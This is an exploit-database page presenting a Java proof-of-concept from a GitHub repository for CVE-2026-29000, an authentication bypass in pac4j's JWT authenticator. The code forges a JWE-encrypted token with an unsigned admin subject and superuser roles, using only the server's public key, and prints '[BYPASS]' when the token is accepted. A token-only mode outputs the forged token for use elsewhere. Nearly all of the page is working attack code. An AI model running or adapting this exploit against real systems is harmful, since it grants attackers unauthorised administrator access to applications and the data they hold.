Exploit databaseDownload repository ZIP
GH-8e636236669e9ee743285124404107b4
kernelzeroday/cve-2026-29000
Sources for CVE-2026-29000
16 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files1
kernelzeroday/cve-2026-29000Revision 4a0c7f57b20c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/src/main/java/Poc.java
Java · 4,293 bytesimport com.nimbusds.jose.JWEAlgorithm;
import com.nimbusds.jose.JWEHeader;
import com.nimbusds.jose.JWEObject;
import com.nimbusds.jose.Payload;
import com.nimbusds.jose.crypto.RSAEncrypter;
import com.nimbusds.jwt.JWTClaimsSet;
import org.pac4j.core.context.CallContext;
import org.pac4j.core.context.MockWebContext;
import org.pac4j.core.context.session.MockSessionStore;
import org.pac4j.core.credentials.TokenCredentials;
import org.pac4j.jwt.config.encryption.RSAEncryptionConfiguration;
import org.pac4j.jwt.config.signature.RSASignatureConfiguration;
import org.pac4j.jwt.credentials.authenticator.JwtAuthenticator;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.interfaces.RSAPublicKey;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
public class Poc {
private static final Logger LOG = Logger.getLogger(Poc.class.getName());
private static final String DEFAULT_SUBJECT = "admin#override";
private static final List<String> DEFAULT_ROLES = List.of("ROLE_ADMIN", "ROLE_SUPERUSER");
private static final long EXPIRY_MS = 3_600_000L;
public static void main(String[] args) throws Exception {
String subject = DEFAULT_SUBJECT;
List<String> roles = new ArrayList<>(DEFAULT_ROLES);
boolean inProcess = true;
for (int i = 0; i < args.length; i++) {
if ("--subject".equals(args[i]) && i + 1 < args.length) { subject = args[++i]; continue; }
if ("--roles".equals(args[i]) && i + 1 < args.length) { roles = parseRoles(args[++i]); continue; }
if ("--token-only".equals(args[i])) { inProcess = false; continue; }
}
KeyPair serverKeyPair = generateKeyPair();
RSAPublicKey publicKey = (RSAPublicKey) serverKeyPair.getPublic();
LOG.log(Level.INFO, "subject={0} roles={1} inProcess={2}", new Object[]{subject, roles, inProcess});
String token = forgeToken(publicKey, subject, roles);
LOG.log(Level.INFO, "token_prefix={0}", new Object[]{token.substring(0, Math.min(80, token.length())) + "..."});
if (inProcess) {
boolean bypass = validateInProcess(serverKeyPair, token);
LOG.log(Level.INFO, "bypass_success={0}", new Object[]{bypass});
if (bypass) {
System.out.println("[BYPASS] Authenticated as: " + subject);
System.out.println("[BYPASS] Roles: " + roles);
}
} else {
System.out.println(token);
}
}
static KeyPair generateKeyPair() throws Exception {
KeyPairGenerator gen = KeyPairGenerator.getInstance("RSA");
gen.initialize(2048);
return gen.generateKeyPair();
}
static List<String> parseRoles(String s) {
List<String> out = new ArrayList<>();
for (String r : s.split(",")) { String t = r.trim(); if (!t.isEmpty()) out.add(t); }
return out.isEmpty() ? DEFAULT_ROLES : out;
}
static String forgeToken(RSAPublicKey publicKey, String subject, List<String> roles) throws Exception {
JWTClaimsSet claims = new JWTClaimsSet.Builder()
.subject(subject)
.claim("$int_roles", roles)
.claim("email", "[email protected]")
.expirationTime(new Date(System.currentTimeMillis() + EXPIRY_MS))
.build();
String claimsJson = new ObjectMapper().writeValueAsString(claims.toJSONObject());
JWEObject jweObject = new JWEObject(
new JWEHeader.Builder(JWEAlgorithm.RSA_OAEP_256, com.nimbusds.jose.EncryptionMethod.A256GCM)
.contentType("JWT")
.build(),
new Payload(claimsJson)
);
jweObject.encrypt(new RSAEncrypter(publicKey));
return jweObject.serialize();
}
static boolean validateInProcess(KeyPair serverKeyPair, String token) throws Exception {
JwtAuthenticator auth = new JwtAuthenticator();
auth.addEncryptionConfiguration(new RSAEncryptionConfiguration(serverKeyPair, JWEAlgorithm.RSA_OAEP_256, com.nimbusds.jose.EncryptionMethod.A256GCM));
auth.addSignatureConfiguration(new RSASignatureConfiguration(serverKeyPair));
TokenCredentials credentials = new TokenCredentials(token);
auth.validate(new CallContext(MockWebContext.create(), new MockSessionStore()), credentials);
return credentials.getUserProfile() != null;
}
}